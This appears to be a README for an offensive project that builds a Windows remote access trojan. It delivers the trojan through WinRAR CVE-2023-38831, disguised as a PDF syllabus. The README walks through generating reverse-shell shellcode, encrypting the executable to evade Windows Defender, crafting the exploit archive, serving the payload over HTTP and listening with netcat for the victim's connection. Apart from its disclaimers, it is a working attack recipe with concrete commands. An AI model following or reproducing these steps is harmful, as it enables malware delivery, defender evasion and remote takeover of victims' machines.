Develop a Windows x64 RAT using CVE-2023-38831 (WinRAR < 6.23) and Shellcode exploitation to bypass Windows Defender.
- Shellcode Initialization
- Generate shellcode using Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode.
- main.cpp Explanation
- Inject and execute shellcode in memory to establish a reverse TCP connection.
- Compile and Encrypt main.cpp
- Compile C++ file into an executable and encrypt it.
- Exploit WinRAR CVE-2023-38831
- Use the vulnerability to download, decrypt, and execute the encrypted RAT.
- Decrypt and Execute Script (decrypt_file.ps1)
- Decrypt and execute the downloaded executable.
- Execution
- Open the crafted PDF/image to trigger reverse shell connection.
Warning: This information is for educational purposes only. Unauthorized use of these techniques is illegal and unethical.
-
Craft Shellcode
- Use
51721.py
to generate the initial shellcode.
- Use
-
Modify and Compile the Shellcode
- Make necessary modifications to the shellcode.
- Compile the modified code.
-
Encrypt the Executable
- Use
decrypt_file.ps1
to encrypt the compiled executable:.\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
- Use
-
Create a WinRAR Archive
- Use
cve-2023-38831-exp-gen.py
to create the archive:python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
- Use
-
Set Up a Python Server for File Download
- Navigate to the directory containing
enc_main.exe
anddecrypt_file.ps1
. - Start a Python HTTP server:
python3 -m http.server 8000
- Navigate to the directory containing
-
Prepare to Listen for the Reverse TCP Shell
- Open Netcat to listen for incoming TCP connections:
nc -lnvp 4444
- Open Netcat to listen for incoming TCP connections:
-
Trigger the Reverse TCP Shell
- When the victim opens the PDF file, the reverse TCP connection will be triggered, giving you access to their machine.
This information is provided for educational purposes only. The use of this exploit without explicit permission is illegal and unethical. The author assumes no responsibility for any misuse of this information.